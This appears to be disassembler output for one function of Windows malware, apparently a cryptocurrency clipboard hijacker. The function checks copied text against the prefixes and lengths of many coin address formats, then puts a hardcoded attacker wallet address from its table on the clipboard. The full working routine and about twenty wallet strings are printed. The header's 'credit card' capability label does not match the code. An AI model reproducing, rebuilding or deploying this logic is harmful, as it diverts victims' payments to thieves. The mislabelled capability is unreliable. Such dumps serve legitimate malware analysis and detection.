Function at 0x401000
Capabilities:
Open clipboard
Parse credit card information
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov byte [ebp - 0x19], 0
mov byte [ebp - 9], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x33
je 0x401158
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x62
je 0x401158
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x71
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x58
je 0x401158
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x44
je 0x401158
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x30
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x4c
je 0x401158
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x34
je 0x401158
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x72
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x54
je 0x401158
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x74
je 0x401158
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x7a
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x47
je 0x401158
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
je 0x401158
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x63
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x68
je 0x401158
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x51
je 0x401158
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x50
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x52
je 0x401158
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x55
je 0x401158
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x45
je 0x401158
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x42
je 0x401158
xor al, al
jmp 0x40154d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x34
jne 0x40117b
cmp dword [ebp - 4], 0x5a
jb 0x40116f
cmp dword [ebp - 4], 0x73
jbe 0x401176
xor al, al
jmp 0x40154d
jmp 0x401281
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x47
jne 0x4011ba
cmp dword [ebp - 4], 0x38
jne 0x401190
mov byte [ebp - 0x19], 1
cmp dword [ebp - 4], 9
jne 0x40119a
mov byte [ebp - 9], 1
movzx eax, byte [ebp - 9]
test eax, eax
jne 0x4011b5
cmp dword [ebp - 4], 0x18
jb 0x4011ae
cmp dword [ebp - 4], 0x38
jbe 0x4011b5
xor al, al
jmp 0x40154d
jmp 0x401281
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x41
jne 0x4011dd
cmp dword [ebp - 4], 0x37
jb 0x4011d1
cmp dword [ebp - 4], 0x3f
jbe 0x4011d8
xor al, al
jmp 0x40154d
jmp 0x401281
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x63
jne 0x401200
cmp dword [ebp - 4], 0x28
jb 0x4011f4
cmp dword [ebp - 4], 0x2f
jbe 0x4011fb
xor al, al
jmp 0x40154d
jmp 0x401281
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x50
jne 0x401220
cmp dword [ebp - 4], 0x35
jb 0x401217
cmp dword [ebp - 4], 0x3c
jbe 0x40121e
xor al, al
jmp 0x40154d
jmp 0x401281
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
jne 0x40123a
cmp dword [ebp - 4], 9
je 0x401238
xor al, al
jmp 0x40154d
jmp 0x401281
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x401254
cmp dword [ebp - 4], 9
je 0x401252
xor al, al
jmp 0x40154d
jmp 0x401281
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x42
jne 0x40126e
cmp dword [ebp - 4], 9
je 0x40126c
xor al, al
jmp 0x40154d
jmp 0x401281
cmp dword [ebp - 4], 0x18
jb 0x40127a
cmp dword [ebp - 4], 0x2e
jbe 0x401281
xor al, al
jmp 0x40154d
mov dword [ebp - 0x20], 0
jmp 0x401293
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 4]
jae 0x40131a
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x31
je 0x4012b1
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x33
jne 0x4012e2
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x20]
movsx edx, byte [ecx]
cmp edx, 0x4f
je 0x4012db
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x20]
movsx ecx, byte [eax]
cmp ecx, 0x49
je 0x4012db
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x20]
movsx eax, byte [edx]
cmp eax, 0x6c
jne 0x4012e2
xor al, al
jmp 0x40154d
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x20]
movsx edx, byte [ecx]
push edx
call sub.MSVCRT.dll_isalpha
add esp, 4
test eax, eax
jne 0x401315
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x20]
movsx ecx, byte [eax]
push ecx
call sub.MSVCRT.dll_isdigit
add esp, 4
test eax, eax
jne 0x401315
xor al, al
jmp 0x40154d
jmp 0x40128a
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x31
jne 0x40132c
mov dword [ebp - 8], str.1GWTDV99ErrCDN6HUXsStubzZbVuhgftmN
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x33
jne 0x40133e
mov dword [ebp - 8], str.3QYPr4imJFmd3c2htT4d3pRuxkSjcXdr95
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x62
jne 0x401350
mov dword [ebp - 8], str.bc1qpqdvg6c8v8muj0wg6c4zqu7wu29yqfflpznlrf
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x71
jne 0x401362
mov dword [ebp - 8], str.qpc0q7lc97cxhqdzkkrvfqeycx452f82uyzda6rtus
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x58
jne 0x401374
mov dword [ebp - 8], str.Xd32EVucSr2AZzy8YvR68iBAE5Z11bYf5i
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x44
jne 0x401386
mov dword [ebp - 8], str.DJn8c1AF2dT1AUa3x5e96pTENUySSfiyeK
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x30
jne 0x401398
mov dword [ebp - 8], str.0x75861AC703AAbf12E51B374543F51320eeccB91D
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x4c
jne 0x4013aa
mov dword [ebp - 8], str.LdBHYMamYrhwVNeYME2eitEqyVh9aznHv3
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x34
jne 0x4013bc
mov dword [ebp - 8], str.41fVewfPwdvLhKfoRMWRQCimGnUWibnbuVMLoAaHMWz2REDZ4aCSo1SKgWfVcvjhAtNAS5h2dLVRrcg6HDFi27o834s8jBR
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x72
jne 0x4013ce
mov dword [ebp - 8], str.rUDCMjrk2SBPYRJapNSXckgjGFZRndXaj4
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x54
jne 0x4013e0
mov dword [ebp - 8], str.TNoUKMUHGaSuidEhzwiY54wEPZMGYn11Wa
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x74
je 0x4013f6
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x7a
jne 0x4013fd
mov dword [ebp - 8], str.t1R5eZqKDHYhnBFWaJum8K3ssqApwZVaz6R
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x47
jne 0x401433
movzx eax, byte [ebp - 0x19]
cmp eax, 1
jne 0x40141a
mov dword [ebp - 8], str.GDMVKM2BG5DF7WWQWDWKYOX2ZE2M5QSJFJLFRHG7VNCQOONWWV3ADFZI
jmp 0x401433
movzx ecx, byte [ebp - 9]
cmp ecx, 1
jne 0x40142c
mov dword [ebp - 8], str.G24523489
jmp 0x401433
mov dword [ebp - 8], str.GKx8P6c2oacrehBGct9b68MwoQTFb8542a
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jne 0x401445
mov dword [ebp - 8], str.Ae2tdPwUPEZBHEMi8gdtXcH8KZX7rMDydxGr8E1sboHHzzrjdkyMfPr2zwM
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x63
jne 0x401457
mov dword [ebp - 8], str.cosmos1yspcmrxj76a7xz3h8tsqrcqnwu5g5dd2ypys2e
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x68
jne 0x401469
mov dword [ebp - 8], str.hxa33d6fe3bd3ae9526052a76e4e6123d944f0d8a7
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x51
jne 0x40147b
mov dword [ebp - 8], str.Qh3ARPVTgUQD6arkNrmdRSrbmFnTC7pfku
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x50
jne 0x40148d
mov dword [ebp - 8], str.X5LD22M4OJGV2JTVN25SQSZQRXEJPXGNAHK6B5R22F22NMJMURZOAZ3AAY
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x52
jne 0x40149f
mov dword [ebp - 8], str.RBKGL71Hmtf7Pe5Lq2Z5Lkxpkq4PpuqqQ3
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x55
jne 0x4014b1
mov dword [ebp - 8], str.U24188479
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x45
jne 0x4014c3
mov dword [ebp - 8], str.E24912861
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x42
jne 0x4014d5
mov dword [ebp - 8], str.B23181897
mov edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 1
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x10]
add edx, 1
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40154b
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp - 0x18]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret